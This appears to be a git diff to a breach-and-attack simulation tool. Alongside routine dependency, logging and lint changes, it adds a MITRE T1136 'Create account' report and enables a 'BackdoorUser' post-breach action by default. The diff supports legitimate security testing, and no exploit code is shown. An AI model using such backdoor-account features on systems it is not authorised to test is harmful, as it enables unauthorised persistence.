||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,11 @@ git+https://github.com/guardicore/pyinstaller
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
wmi
|
# Locking WMI since version 1.5 introduced breaking change on Linux agent compilation.
|
||||||
|
# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d
|
||||||
|
# Causes pip to error with:
|
||||||
|
# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none)
|
||||||
|
wmi==1.4.9
|
||||||
pywin32 ; sys_platform == 'win32'
|
pywin32 ; sys_platform == 'win32'
|
||||||
pymssql<3.0
|
pymssql<3.0
|
||||||
pyftpdlib
|
pyftpdlib
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import logging
|
import logging
|
||||||
import socket
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
import psutil
|
import psutil
|
||||||
|
|
|
@ -17,12 +17,16 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def send(self):
|
def send(self, log_data=True):
|
||||||
"""
|
"""
|
||||||
Sends telemetry to island
|
Sends telemetry to island
|
||||||
"""
|
"""
|
||||||
data = self.get_data()
|
data = self.get_data()
|
||||||
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
if log_data:
|
||||||
|
data_to_log = json.dumps(data)
|
||||||
|
else:
|
||||||
|
data_to_log = 'redacted'
|
||||||
|
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log))
|
||||||
ControlClient.send_telemetry(self.telem_category, data)
|
ControlClient.send_telemetry(self.telem_category, data)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
|
|
|
@ -17,3 +17,6 @@ class SystemInfoTelem(BaseTelem):
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
return self.system_info
|
return self.system_info
|
||||||
|
|
||||||
|
def send(self, log_data=False):
|
||||||
|
super(SystemInfoTelem, self).send(log_data)
|
||||||
|
|
|
@ -1,3 +1 @@
|
||||||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
||||||
|
|
|
@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser):
|
||||||
|
|
||||||
def run_as(self, command):
|
def run_as(self, command):
|
||||||
# Importing these only on windows, as they won't exist on linux.
|
# Importing these only on windows, as they won't exist on linux.
|
||||||
import win32con
|
|
||||||
import win32process
|
import win32process
|
||||||
import win32api
|
import win32api
|
||||||
import win32event
|
import win32event
|
||||||
|
|
|
@ -46,4 +46,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_bootloader_resource_url(server_ip):
|
def get_bootloader_resource_url(server_ip):
|
||||||
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"
|
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
from datetime import timedelta
|
from datetime import timedelta
|
||||||
import os
|
import os
|
||||||
from Crypto.Hash import SHA3_512
|
import hashlib
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -45,10 +45,11 @@ class Environment(object, metaclass=ABCMeta):
|
||||||
def get_auth_expiration_time(self):
|
def get_auth_expiration_time(self):
|
||||||
return self._AUTH_EXPIRATION_TIME
|
return self._AUTH_EXPIRATION_TIME
|
||||||
|
|
||||||
def hash_secret(self, secret):
|
@staticmethod
|
||||||
h = SHA3_512.new()
|
def hash_secret(secret):
|
||||||
h.update(secret)
|
hash_obj = hashlib.sha3_512()
|
||||||
return h.hexdigest()
|
hash_obj.update(secret.encode('utf-8'))
|
||||||
|
return hash_obj.hexdigest()
|
||||||
|
|
||||||
def get_deployment(self):
|
def get_deployment(self):
|
||||||
return self._get_from_config('deployment', 'unknown')
|
return self._get_from_config('deployment', 'unknown')
|
||||||
|
|
|
@ -0,0 +1,25 @@
|
||||||
|
from monkey_island.cc.auth import User
|
||||||
|
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
|
from monkey_island.cc.environment.aws import AwsEnvironment
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
|
||||||
|
class TestAwsEnvironment(IslandTestCase):
|
||||||
|
def test_get_auth_users(self):
|
||||||
|
env = AwsEnvironment()
|
||||||
|
# This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine
|
||||||
|
# (might not be an AWS machine at all).
|
||||||
|
# Perhaps it would have been more elegant to create a Mock, but not worth it for
|
||||||
|
# this small test.
|
||||||
|
env._instance_id = "i-666"
|
||||||
|
hash_obj = hashlib.sha3_512()
|
||||||
|
hash_obj.update(b"i-666")
|
||||||
|
auth_users = env.get_auth_users()
|
||||||
|
assert isinstance(auth_users, list)
|
||||||
|
assert len(auth_users) == 1
|
||||||
|
auth_user = auth_users[0]
|
||||||
|
assert isinstance(auth_user, User)
|
||||||
|
assert auth_user.id == 1
|
||||||
|
assert auth_user.username == "monkey"
|
||||||
|
assert auth_user.secret == hash_obj.hexdigest()
|
|
@ -31,7 +31,7 @@ from monkey_island.cc.bootloader_server import BootloaderHttpServer
|
||||||
from monkey_island.cc.setup import setup
|
from monkey_island.cc.setup import setup
|
||||||
|
|
||||||
|
|
||||||
def main(should_setup_only):
|
def main(should_setup_only=False):
|
||||||
logger.info("Starting bootloader server")
|
logger.info("Starting bootloader server")
|
||||||
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
||||||
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)
|
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)
|
||||||
|
|
|
@ -12,9 +12,9 @@ else:
|
||||||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||||
|
|
||||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||||
from .config import Config
|
from .config import Config # noqa: F401
|
||||||
from .creds import Creds
|
from .creds import Creds # noqa: F401
|
||||||
from .monkey_ttl import MonkeyTtl
|
from .monkey_ttl import MonkeyTtl # noqa: F401
|
||||||
from .pba_results import PbaResults
|
from .pba_results import PbaResults # noqa: F401
|
||||||
from .command_control_channel import CommandControlChannel
|
from .command_control_channel import CommandControlChannel # noqa: F401
|
||||||
from .monkey import Monkey
|
from .monkey import Monkey # noqa: F401
|
||||||
|
|
|
@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument):
|
||||||
description = mitigation['description']
|
description = mitigation['description']
|
||||||
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
|
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
|
||||||
return Mitigation(name=name, description=description, url=url)
|
return Mitigation(name=name, description=description, url=url)
|
||||||
|
|
||||||
|
|
|
@ -13,8 +13,8 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class TestMonkey(IslandTestCase):
|
class TestMonkey(IslandTestCase):
|
||||||
"""
|
"""
|
||||||
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
|
Make sure to set server environment to `testing` in server_config.json!
|
||||||
won't work.
|
Otherwise this will mess up your mongo instance and won't work.
|
||||||
|
|
||||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||||
server_config.json file is found and loaded.
|
server_config.json file is found and loaded.
|
||||||
|
|
|
@ -33,7 +33,8 @@ class TestFinding(IslandTestCase):
|
||||||
|
|
||||||
event_example = Event.create_event(
|
event_example = Event.create_event(
|
||||||
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
||||||
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
|
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
|
||||||
|
status=zero_trust_consts.STATUS_FAILED, events=[event_example])
|
||||||
|
|
||||||
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
|
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
|
||||||
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)
|
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)
|
||||||
|
|
|
@ -1,7 +1,6 @@
|
||||||
from unittest import TestCase
|
from unittest import TestCase
|
||||||
|
|
||||||
from monkey_island.cc.resources.bootloader import Bootloader
|
from monkey_island.cc.resources.bootloader import Bootloader
|
||||||
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
|
|
||||||
|
|
||||||
|
|
||||||
class TestBootloader(TestCase):
|
class TestBootloader(TestCase):
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
from flask import request
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
from functools import wraps
|
from functools import wraps
|
||||||
from os import mkdir, path
|
from os import mkdir, path
|
||||||
import shutil
|
import shutil
|
||||||
|
@ -8,10 +9,14 @@ from flask import request
|
||||||
from monkey_island.cc.models.test_telem import TestTelem
|
from monkey_island.cc.models.test_telem import TestTelem
|
||||||
from monkey_island.cc.services.config import ConfigService
|
from monkey_island.cc.services.config import ConfigService
|
||||||
|
|
||||||
TEST_TELEM_DIR = "./test_telems"
|
TELEM_SAMPLE_DIR = "./telem_sample"
|
||||||
MAX_SAME_CATEGORY_TELEMS = 10000
|
MAX_SAME_CATEGORY_TELEMS = 10000
|
||||||
|
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class TestTelemStore:
|
class TestTelemStore:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -31,14 +36,17 @@ class TestTelemStore:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def export_test_telems():
|
def export_test_telems():
|
||||||
|
logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}")
|
||||||
try:
|
try:
|
||||||
mkdir(TEST_TELEM_DIR)
|
mkdir(TELEM_SAMPLE_DIR)
|
||||||
except FileExistsError:
|
except FileExistsError:
|
||||||
shutil.rmtree(TEST_TELEM_DIR)
|
logger.info("Deleting all previous telemetries.")
|
||||||
mkdir(TEST_TELEM_DIR)
|
shutil.rmtree(TELEM_SAMPLE_DIR)
|
||||||
|
mkdir(TELEM_SAMPLE_DIR)
|
||||||
for test_telem in TestTelem.objects():
|
for test_telem in TestTelem.objects():
|
||||||
with open(TestTelemStore.get_unique_file_path_for_test_telem(TEST_TELEM_DIR, test_telem), 'w') as file:
|
with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file:
|
||||||
file.write(test_telem.to_json())
|
file.write(test_telem.to_json(indent=2))
|
||||||
|
logger.info("Telemetries exported!")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem):
|
def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem):
|
||||||
|
|
|
@ -120,7 +120,7 @@ class AttackConfig(object):
|
||||||
def set_bool_conf_val(path, val, monkey_config):
|
def set_bool_conf_val(path, val, monkey_config):
|
||||||
"""
|
"""
|
||||||
Changes monkey's configuration by setting one of its boolean fields value
|
Changes monkey's configuration by setting one of its boolean fields value
|
||||||
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
:param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||||
:param val: Boolean
|
:param val: Boolean
|
||||||
:param monkey_config: Monkey's configuration
|
:param monkey_config: Monkey's configuration
|
||||||
"""
|
"""
|
||||||
|
@ -183,5 +183,5 @@ class AttackConfig(object):
|
||||||
techniques = {}
|
techniques = {}
|
||||||
for type_name, attack_type in list(attack_config.items()):
|
for type_name, attack_type in list(attack_config.items()):
|
||||||
for key, technique in list(attack_type['properties'].items()):
|
for key, technique in list(attack_type['properties'].items()):
|
||||||
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
|
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
|
||||||
return techniques
|
return techniques
|
||||||
|
|
|
@ -1 +1 @@
|
||||||
Subproject commit c139e37bdc51acbc7d0488a5be48553caffdbbd7
|
Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d
|
|
@ -4,6 +4,7 @@ from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
|
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
|
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
|
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
|
||||||
|
from monkey_island.cc.services.attack.technique_reports import T1136
|
||||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
|
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
|
||||||
|
@ -35,7 +36,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
|
||||||
'T1018': T1018.T1018,
|
'T1018': T1018.T1018,
|
||||||
'T1016': T1016.T1016,
|
'T1016': T1016.T1016,
|
||||||
'T1021': T1021.T1021,
|
'T1021': T1021.T1021,
|
||||||
'T1064': T1064.T1064
|
'T1064': T1064.T1064,
|
||||||
|
'T1136': T1136.T1136
|
||||||
}
|
}
|
||||||
|
|
||||||
REPORT_NAME = 'new_report'
|
REPORT_NAME = 'new_report'
|
||||||
|
|
|
@ -289,6 +289,22 @@ SCHEMA = {
|
||||||
"description": "Data exfiltration is performed over the Command and Control channel."
|
"description": "Data exfiltration is performed over the Command and Control channel."
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"persistence": {
|
||||||
|
"title": "Persistence",
|
||||||
|
"type": "object",
|
||||||
|
"link": "https://attack.mitre.org/tactics/TA0003/",
|
||||||
|
"properties": {
|
||||||
|
"T1136": {
|
||||||
|
"title": "Create account",
|
||||||
|
"type": "bool",
|
||||||
|
"value": True,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1136",
|
||||||
|
"description": "Adversaries with a sufficient level of access "
|
||||||
|
"may create a local system, domain, or cloud tenant account."
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
from typing import List, Dict
|
from typing import List, Dict
|
||||||
|
|
||||||
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20
|
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern
|
||||||
|
|
||||||
|
|
||||||
class MitreApiInterface:
|
class MitreApiInterface:
|
||||||
|
@ -32,14 +32,14 @@ class MitreApiInterface:
|
||||||
return all_techniques
|
return all_techniques
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str:
|
def get_stix2_external_reference_id(stix2_data) -> str:
|
||||||
for reference in stix2_data['external_references']:
|
for reference in stix2_data['external_references']:
|
||||||
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
|
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
|
||||||
return reference['external_id']
|
return reference['external_id']
|
||||||
return ''
|
return ''
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str:
|
def get_stix2_external_reference_url(stix2_data) -> str:
|
||||||
for reference in stix2_data['external_references']:
|
for reference in stix2_data['external_references']:
|
||||||
if 'url' in reference:
|
if 'url' in reference:
|
||||||
return reference['url']
|
return reference['url']
|
||||||
|
|
|
@ -0,0 +1,38 @@
|
||||||
|
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||||
|
from monkey_island.cc.services.reporting.report import ReportService
|
||||||
|
from common.utils.attack_utils import ScanStatus
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1136(AttackTechnique):
|
||||||
|
tech_id = "T1136"
|
||||||
|
unscanned_msg = "Monkey didn't try creating a new user on the network's systems."
|
||||||
|
scanned_msg = "Monkey tried creating a new user on the network's systems, but failed."
|
||||||
|
used_msg = "Monkey created a new user on the network's systems."
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_report_data():
|
||||||
|
data = {'title': T1136.technique_title()}
|
||||||
|
|
||||||
|
scanned_nodes = ReportService.get_scanned()
|
||||||
|
status = ScanStatus.UNSCANNED.value
|
||||||
|
for node in scanned_nodes:
|
||||||
|
if node['pba_results'] != 'None':
|
||||||
|
for pba in node['pba_results']:
|
||||||
|
if pba['name'] in [POST_BREACH_BACKDOOR_USER,
|
||||||
|
POST_BREACH_COMMUNICATE_AS_NEW_USER]:
|
||||||
|
status = ScanStatus.USED.value if pba['result'][1]\
|
||||||
|
else ScanStatus.SCANNED.value
|
||||||
|
data.update({
|
||||||
|
'info': [{
|
||||||
|
'machine': {
|
||||||
|
'hostname': pba['hostname'],
|
||||||
|
'ips': node['ip_addresses'],
|
||||||
|
},
|
||||||
|
'result': ': '.join([pba['name'], pba['result'][0]])
|
||||||
|
}]
|
||||||
|
})
|
||||||
|
data.update(T1136.get_message_and_status(status))
|
||||||
|
return data
|
|
@ -5,7 +5,7 @@ from monkey_island.cc.database import mongo
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||||
from common.utils.code_utils import abstractstatic
|
from common.utils.code_utils import abstractstatic
|
||||||
from cc.models.attack.attack_mitigations import AttackMitigations
|
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -129,4 +129,3 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
|
||||||
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
|
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
|
||||||
else:
|
else:
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
|
@ -32,4 +32,3 @@ class TestBootloaderService(TestCase):
|
||||||
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
|
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
|
||||||
ips = BootloaderService.remove_local_ips(ips)
|
ips = BootloaderService.remove_local_ips(ips)
|
||||||
self.assertEqual(["192.168.56.1"], ips)
|
self.assertEqual(["192.168.56.1"], ips)
|
||||||
|
|
||||||
|
|
|
@ -130,7 +130,7 @@ SCHEMA = {
|
||||||
"title": "Collect the machine's hostname",
|
"title": "Collect the machine's hostname",
|
||||||
"attack_techniques": []
|
"attack_techniques": []
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": [
|
"enum": [
|
||||||
PROCESS_LIST_COLLECTOR
|
PROCESS_LIST_COLLECTOR
|
||||||
|
@ -140,7 +140,7 @@ SCHEMA = {
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
"post_breach_acts": {
|
"post_breach_actions": {
|
||||||
"title": "Post breach actions",
|
"title": "Post breach actions",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"anyOf": [
|
"anyOf": [
|
||||||
|
@ -150,7 +150,7 @@ SCHEMA = {
|
||||||
"BackdoorUser"
|
"BackdoorUser"
|
||||||
],
|
],
|
||||||
"title": "Back door user",
|
"title": "Back door user",
|
||||||
"attack_techniques": []
|
"attack_techniques": ["T1136"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
@ -158,7 +158,7 @@ SCHEMA = {
|
||||||
"CommunicateAsNewUser"
|
"CommunicateAsNewUser"
|
||||||
],
|
],
|
||||||
"title": "Communicate as new user",
|
"title": "Communicate as new user",
|
||||||
"attack_techniques": []
|
"attack_techniques": ["T1136"]
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
@ -375,9 +375,10 @@ SCHEMA = {
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"uniqueItems": True,
|
"uniqueItems": True,
|
||||||
"items": {
|
"items": {
|
||||||
"$ref": "#/definitions/post_breach_acts"
|
"$ref": "#/definitions/post_breach_actions"
|
||||||
},
|
},
|
||||||
"default": [
|
"default": [
|
||||||
|
"BackdoorUser",
|
||||||
"CommunicateAsNewUser"
|
"CommunicateAsNewUser"
|
||||||
],
|
],
|
||||||
"description": "List of actions the Monkey will run post breach"
|
"description": "List of actions the Monkey will run post breach"
|
||||||
|
|
|
@ -411,5 +411,6 @@ class NodeService:
|
||||||
def get_hostname_by_id(node_id):
|
def get_hostname_by_id(node_id):
|
||||||
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
|
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
|
||||||
|
|
||||||
|
|
||||||
class NodeCreationException(Exception):
|
class NodeCreationException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -101,4 +101,3 @@ def process_mimikatz_and_wmi_info(telemetry_json):
|
||||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
|
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
|
||||||
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
|
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
|
||||||
wmi_handler.process_and_handle_wmi_info()
|
wmi_handler.process_and_handle_wmi_info()
|
||||||
|
|
||||||
|
|
|
@ -9,4 +9,3 @@ SUPPORTED_WINDOWS_VERSIONS = {
|
||||||
"windows7_sp1": True,
|
"windows7_sp1": True,
|
||||||
"windows8_or_greater": True,
|
"windows8_or_greater": True,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -11,5 +11,3 @@ class TestNodeGroups(TestCase):
|
||||||
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
|
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
|
||||||
with self.assertRaises(NoGroupsFoundException):
|
with self.assertRaises(NoGroupsFoundException):
|
||||||
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])
|
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,10 +1,15 @@
|
||||||
{
|
{
|
||||||
"presets": [
|
"presets": [
|
||||||
"es2015",
|
[
|
||||||
"stage-0",
|
"@babel/preset-env",
|
||||||
"react"
|
{
|
||||||
|
"useBuiltIns": "entry"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"@babel/preset-react"
|
||||||
],
|
],
|
||||||
"plugins": [
|
"plugins": [
|
||||||
"emotion"
|
"emotion",
|
||||||
|
"@babel/plugin-proposal-class-properties"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -3,11 +3,25 @@
|
||||||
"plugins": [
|
"plugins": [
|
||||||
"react"
|
"react"
|
||||||
],
|
],
|
||||||
|
"extends": [
|
||||||
|
"eslint:recommended",
|
||||||
|
"plugin:react/recommended"
|
||||||
|
],
|
||||||
"parserOptions": {
|
"parserOptions": {
|
||||||
"ecmaVersion": 6,
|
"ecmaVersion": 6,
|
||||||
"sourceType": "module",
|
"sourceType": "module",
|
||||||
|
"allowImportExportEverywhere": false,
|
||||||
"ecmaFeatures": {
|
"ecmaFeatures": {
|
||||||
"jsx": true
|
"jsx": true,
|
||||||
|
"globalReturn": false
|
||||||
|
},
|
||||||
|
"babelOptions": {
|
||||||
|
"configFile": ".babelrc"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"settings": {
|
||||||
|
"react": {
|
||||||
|
"version": "detect"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"env": {
|
"env": {
|
||||||
|
@ -25,9 +39,8 @@
|
||||||
],
|
],
|
||||||
"no-undef": 1,
|
"no-undef": 1,
|
||||||
"global-strict": 0,
|
"global-strict": 0,
|
||||||
"no-extra-semi": 1,
|
|
||||||
"no-underscore-dangle": 0,
|
"no-underscore-dangle": 0,
|
||||||
"no-console": 1,
|
"no-console": 0,
|
||||||
"no-unused-vars": 1,
|
"no-unused-vars": 1,
|
||||||
"no-trailing-spaces": [
|
"no-trailing-spaces": [
|
||||||
1,
|
1,
|
||||||
|
@ -38,6 +51,14 @@
|
||||||
"no-unreachable": 1,
|
"no-unreachable": 1,
|
||||||
"no-alert": 0,
|
"no-alert": 0,
|
||||||
"react/jsx-uses-react": 1,
|
"react/jsx-uses-react": 1,
|
||||||
"react/jsx-uses-vars": 1
|
"react/jsx-uses-vars": 1,
|
||||||
|
"react/jsx-key": 1,
|
||||||
|
"react/prop-types": 1,
|
||||||
|
"react/no-unescaped-entities": 1,
|
||||||
|
"react/no-unknown-property": [1, { "ignore": ["class"] }],
|
||||||
|
"react/no-string-refs": 1,
|
||||||
|
"react/display-name": 1,
|
||||||
|
"no-useless-escape": 1,
|
||||||
|
"no-prototype-builtins": 1
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -21,23 +21,23 @@
|
||||||
"repository": "",
|
"repository": "",
|
||||||
"keywords": [],
|
"keywords": [],
|
||||||
"author": "Guardicore",
|
"author": "Guardicore",
|
||||||
|
"browserslist": "> 0.25%, not dead",
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"babel-cli": "^6.26.0",
|
"@babel/cli": "^7.8.4",
|
||||||
"babel-core": "^6.26.3",
|
"@babel/core": "^7.9.6",
|
||||||
"babel-eslint": "^8.2.6",
|
"@babel/plugin-proposal-class-properties": "^7.8.3",
|
||||||
"babel-loader": "^7.1.5",
|
"@babel/plugin-transform-runtime": "^7.9.6",
|
||||||
"babel-polyfill": "^6.26.0",
|
"@babel/preset-env": "^7.9.6",
|
||||||
"babel-preset-env": "^1.7.0",
|
"@babel/preset-react": "^7.9.0",
|
||||||
"babel-preset-es2015": "^6.24.1",
|
"@babel/runtime": "^7.9.6",
|
||||||
"babel-preset-react": "^6.24.1",
|
"babel-eslint": "^10.1.0",
|
||||||
"babel-preset-stage-0": "^6.5.0",
|
"babel-loader": "^8.0.0",
|
||||||
"bower-webpack-plugin": "^0.1.9",
|
|
||||||
"chai": "^4.2.0",
|
"chai": "^4.2.0",
|
||||||
"copyfiles": "^2.1.1",
|
"copyfiles": "^2.2.0",
|
||||||
"css-loader": "^1.0.1",
|
"css-loader": "^3.5.0",
|
||||||
"eslint": "^5.16.0",
|
"eslint": "^6.8.0",
|
||||||
"eslint-loader": "^2.2.1",
|
"eslint-loader": "^4.0.1",
|
||||||
"eslint-plugin-react": "^7.16.0",
|
"eslint-plugin-react": "^7.19.0",
|
||||||
"file-loader": "^1.1.11",
|
"file-loader": "^1.1.11",
|
||||||
"glob": "^7.1.6",
|
"glob": "^7.1.6",
|
||||||
"html-loader": "^0.5.5",
|
"html-loader": "^0.5.5",
|
||||||
|
@ -50,21 +50,22 @@
|
||||||
"karma-phantomjs-launcher": "^1.0.0",
|
"karma-phantomjs-launcher": "^1.0.0",
|
||||||
